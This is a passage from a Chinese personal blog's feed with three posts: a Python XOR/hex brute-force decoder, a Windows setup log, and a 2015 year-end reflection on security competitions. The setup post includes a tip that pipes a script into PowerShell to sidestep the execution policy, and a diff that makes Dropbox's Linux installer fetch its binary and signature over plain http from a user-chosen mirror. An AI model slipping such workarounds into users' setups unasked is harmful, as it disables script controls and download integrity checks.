&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hexlist&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;1234567890ABCDEF&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;temp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;54&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    temp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; chr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;(i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;k))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; src]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    #decoded=str().join([chr(int(&amp;quot;0x&amp;quot;+temp[i]+temp[i+1],16)) for i in range(0,len(temp),2)])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    decoded&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;ascii&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;ignore&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(temp)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        #decoded=str().join([chr(int(&amp;quot;0x&amp;quot;+temp[i]+temp[i+1],16)) for i in range(0,len(temp),2)])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; temp[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;upper&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; hexlist&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; temp[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;upper&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; hexlist&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;0x&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;temp[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;temp[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7f&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                ch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(p)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                ch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        #print(&amp;quot;%d %d %c %c %c&amp;quot;%(k,i,temp[i], temp[i+1], ch))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        decoded&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span&gt;ch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;ascii&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;ignore&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span&gt;(decoded)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Final Result&quot; title=&quot;List&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;随便挑一个合适的就好啦&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Succeed&quot; title=&quot;Ummm&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;先写这些吧 有时间接着写&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>随手记一下自己的惯用环境配置</title>
        <published>2016-01-27T00:00:00+00:00</published>
        <updated>2016-01-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/enviroment-remind/"/>
        <id>https://blog.iret.xyz/posts/enviroment-remind/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/enviroment-remind/">&lt;p&gt;回家就装上了KUbuntu，结果krunner经常崩溃，又格盘装回了Windows。正好有机会重新配置下自己的环境，在这里随手记录下自己的配置。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;安装系统，只分一个默认分区。先用系统自带的更新工具更新所有补丁和驱动，然后去官网下载显示器和键盘的驱动。进行系统激活后安装杀毒软件。&lt;&#x2F;li&gt;
&lt;li&gt;Shadowsocks-CSharp作为socks代理，qt5版本作为http(s)代理。obfs做混淆客户端。&lt;&#x2F;li&gt;
&lt;li&gt;Proxifier对部分应用程序应用代理，Chrome安装后同步所有内容；Dropbox做一些配置文件和密码库的同步，Keepass作为密码存储工具。Dropbox将Everything、IDM和Proxifier的配置同步到本地，安装Everything，恢复IDM。&lt;&#x2F;li&gt;
&lt;li&gt;安装Python2和Python3，并把Python3加入PATH中。安装7-zip、Notepad++、VS、JRE和Git，恢复并重置相关配置。&lt;&#x2F;li&gt;
&lt;li&gt;安装Office，配置好自定义模板和Outlook账户；安装VMWare、SecureCRT、WinDbg。&lt;&#x2F;li&gt;
&lt;li&gt;恢复Freemind、Aria2、Lingoes、Sublime、WinHex等软件。恢复开机启动脚本。&lt;&#x2F;li&gt;
&lt;li&gt;统一配置并恢复所有软件的配置。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;尽量多的使用绿色软件，或者重装之前下载好最新版本的安装包，防止浪费时间&lt;&#x2F;li&gt;
&lt;li&gt;将软件配置等到Dropbox中，以便恢复&lt;&#x2F;li&gt;
&lt;li&gt;个人文档用OneDrive、Google Drive进行转移&lt;&#x2F;li&gt;
&lt;li&gt;Shrink掉部分文件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Aria的配置：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;daemon=true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;enable-rpc=true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;rpc-allow-origin-all=true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;rpc-listen-all=false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;rpc-listen-port=&amp;lt;PORT&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;rpc-secret=&amp;lt;RPC&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;max-concurrent-downloads=5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;continue=true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;max-connection-per-server=8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;min-split-size=10M&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;split=10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;input-file=aria2.session&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;save-session=aria2.session&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;save-session-interval=60&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dir=C:\Users\&amp;lt;Username&amp;gt;\Downloads&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;兼记两个tips。&lt;&#x2F;p&gt;
&lt;p&gt;一个是处理PowerShell的ExecPolicy的。建立boot.cmd，写入：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;vb&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;type Bootup.ps1 | PowerShell.exe&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;noprofile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;启动项里启动boot.cmd即可&lt;&#x2F;p&gt;
&lt;p&gt;另外一个是处理Linux下Dropbox问题的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;上&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.dropbox.com&#x2F;zh_CN&#x2F;install?os=lnx&quot;&gt;https:&#x2F;&#x2F;www.dropbox.com&#x2F;zh_CN&#x2F;install?os=lnx&lt;&#x2F;a&gt; 下载包，并安装。先不运行&lt;&#x2F;li&gt;
&lt;li&gt;按照如下修改&#x2F;usr&#x2F;bin&#x2F;dropbox 地址换成可以访问的机器 记得备份&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C594C5;&quot;&gt;57,58c57,60&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F26D78;&quot;&gt;&amp;lt; DOWNLOAD_LOCATION_FMT = &amp;quot;https:&#x2F;&#x2F;www.dropbox.com&#x2F;download?plat=%s&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F26D78;&quot;&gt;&amp;lt; SIGNATURE_LOCATION_FMT = &amp;quot;https:&#x2F;&#x2F;www.dropbox.com&#x2F;download?plat=%s&amp;amp;signature=1&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;background-color: #BFBDB60F;font-weight: bold;&quot;&gt;---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #70BF56;&quot;&gt;&amp;gt; DOWNLOAD_LOCATION_FMT = &amp;quot;http:&#x2F;&#x2F;&amp;lt;HERE FILL IN THE BACKUP ADDRESS&amp;gt;&#x2F;x86_64&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #70BF56;&quot;&gt;&amp;gt; SIGNATURE_LOCATION_FMT = &amp;quot;http:&#x2F;&#x2F;&amp;lt;HERE FILL IN THE BACKUP ADDRESS&amp;gt;&#x2F;x86_64_sig&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #70BF56;&quot;&gt;&amp;gt; #DOWNLOAD_LOCATION_FMT = &amp;quot;https:&#x2F;&#x2F;www.dropbox.com&#x2F;download?plat=%s&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #70BF56;&quot;&gt;&amp;gt; #SIGNATURE_LOCATION_FMT = &amp;quot;https:&#x2F;&#x2F;www.dropbox.com&#x2F;download?plat=%s&amp;amp;signature=1&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C594C5;&quot;&gt;244c246&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F26D78;&quot;&gt;&amp;lt;         return download_file_chunk(DOWNLOAD_LOCATION_FMT % plat(), self.local_file)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;background-color: #BFBDB60F;font-weight: bold;&quot;&gt;---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #70BF56;&quot;&gt;&amp;gt;         return download_file_chunk(DOWNLOAD_LOCATION_FMT, self.local_file)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C594C5;&quot;&gt;249c251&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F26D78;&quot;&gt;&amp;lt;         for _ in download_file_chunk(SIGNATURE_LOCATION_FMT % plat(), signature):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;background-color: #BFBDB60F;font-weight: bold;&quot;&gt;---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #70BF56;&quot;&gt;&amp;gt;         for _ in download_file_chunk(SIGNATURE_LOCATION_FMT, signature):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;运行 dropbox start -i 或Alt+Space呼出控制板后启动dropbox，原样安装即可&lt;&#x2F;li&gt;
&lt;li&gt;如果有必要就还原&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;也可以直接proxychains dropbox start -i 不过有时候不好用&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>At the Beginning of 2016</title>
        <published>2016-01-22T00:00:00+00:00</published>
        <updated>2016-01-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/2015-final-summary/"/>
        <id>https://blog.iret.xyz/posts/2015-final-summary/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/2015-final-summary/">&lt;p&gt;作为重度拖延症患者，终于开始在回家的火车上动手写这篇年终总结了。&lt;&#x2F;p&gt;
&lt;p&gt;简单回顾下过去的一年，发现自己并没有做什么正事。没有打很多线下赛，技术上也并没有什么系统的长进，学习上依然是一塌糊涂；生活上呢，很不幸，从懒变得更懒了，而且似乎更重了一些（sigh。&lt;&#x2F;p&gt;
&lt;p&gt;说到有什么进步的，大概就是败家的总支出好像又多了一些吧：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;轨迹球&lt;&#x2F;strong&gt;。为了防止自己的鼠标手更严重，年终的时候再京东上剁了一个肯辛通的。推荐重度电脑用户们使用，很舒服，而且很好用。此外为了处理更严重的颈椎问题，淘了个简单的&lt;strong&gt;电脑支架&lt;&#x2F;strong&gt;。妈妈再也不用担心我弯腰玩电脑了 &lt;del&gt;（并没有&lt;&#x2F;del&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;机械键盘&lt;&#x2F;strong&gt;。穷人，所以买了 Rapoo V500S 茶轴版。背光很难看，但是手感勉强还可以，唯一不足的就是声音太大，因此把它从宿舍放到了实验室。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;WD 2TB机械硬盘&lt;&#x2F;strong&gt;。严重的数据囤积症患者，而且各种虚拟机什么的也完全不足以用那个已经出现坏道的500GB容纳，所以狠下心来买了个2TB的移动硬盘，希望能帮助自己吧。这块硬盘和键盘一起，目前是出去时候的标配了。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;笔记本键盘&lt;&#x2F;strong&gt;。实际发生这种事情大家都不想的……开学培训前一天把水洒到了键盘上，没有把CPU烧毁已经是万幸了，淘宝上换一块合适的键盘又是很麻烦的一个过程……总之，最后还是找到了一家靠谱的店，买到了键盘，用起来还不错。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;手机屏幕&lt;&#x2F;strong&gt;。没错，又更换了一次手机屏幕。这次是因为旧的屏幕触屏出现了问题……唉还是要多多努力，争取自己给自己换一部手机才是啊。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;还有很多小东西就不一一列举了。总之都算下来的话，应该占年度支出的30%吧甚至更多。每次剁手的时候都隐隐作痛，然后就毫不在意的付款了……果然资金管理啥的还是要好好注意才可以。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;技术方面呢，也还是那样。总体看来，今年并没有成型的学到什么技术，杂七杂八的东西似乎倒是知道了不少……见过很多漏洞然而还是日不下来站&#x2F;写不出exp的我啊，这一年也仅仅做了这个博客。大约用了一两个星期的样子？目前还处在一边建设一边用的状态，偶尔想到什么就会改一改。虽然项目已经是上传到了github上，但并没有实现自动部署，也没有特别注重对git的使用，可能还需要更多实际项目的经验吧。&lt;&#x2F;p&gt;
&lt;p&gt;新的一年会逐渐回到正常的学习轨道，会系统的学习一些东西。比赛啊报告啊什么的，也不能太水了，还是要多和伙伴们打一些现场赛才好。我感觉，跟线上赛相比，现场赛似乎更类似于真正的工作环境，无论是从人员分配上还是从赛事布局上看。&lt;&#x2F;p&gt;
&lt;p&gt;现场赛的主力似乎与二进制相关的并不是很多。与防守方类似的业务保障类比赛，可能对逆向水平有很高的要求，但类似于攻方的渗透实战类，对二进制水平要求并没有前者那么高。我觉得这可能与实际场景有关，在实际的攻击过程中，大部分入口点都在Web上，二进制上的入口在没有二进制文件的情况下很难挖掘，而如果你能获取到二进制文件，很可能就不需要对其进行细致的分析了……当然，还是要看拿到目标的具体情况。很多时候，负责二进制的队员同时还要去负责对目标机器种下的后门进行强化，这时候要求就不低了。&lt;&#x2F;p&gt;
&lt;p&gt;去年11月底的时候，抽时间简单整理了下目前我能接触到的个人信息资产。目前能追溯到最早的两个物理痕迹，一个是06年注册的一个邮箱，另外一个是04年左右制作的一张光盘。又回忆了下，确认自己接触计算机是从2001年前后开始的，那时候好像还是因为某些奇怪的原因接触到了一台Windows……而直到现在我都认为，09年~12年，虽然我没有电脑可以用，但这段时间反而是我产出量最高的阶段。手绘GUI、手写代码等等的，也基本都是那时候常用的手段。万幸，08年开始，我认识了XT，而之后的几年里，我也不用因为别人玩DNF而我写程序而纠结了。毕竟，他一边玩DNF一边写程序啊……&lt;&#x2F;p&gt;
&lt;p&gt;13年，高考。就这样吧。于是14年我来到了这里。&lt;&#x2F;p&gt;
&lt;p&gt;断断续续的，与计算机接触了15年。说过很多梦话，做过很多傻事。但看看周围，觉得自己的成长速度也不算很慢了，除了这两年。综合周围的环境来看，现在的环境简直比家里好不止千百倍，而这两年也本应该是成长最快的阶段，但很可惜，自己成长的并没有想像中那么快。&lt;&#x2F;p&gt;
&lt;p&gt;或许是时候给自己一些压力了——希望自己不会爆掉。&lt;&#x2F;p&gt;
&lt;p&gt;嗯，先这样吧，火车挺快的，没信号了。&lt;&#x2F;p&gt;
&lt;p&gt;新的一年，各位也要加油努力哦！&lt;&#x2F;p&gt;
</content>
        
    </entry>
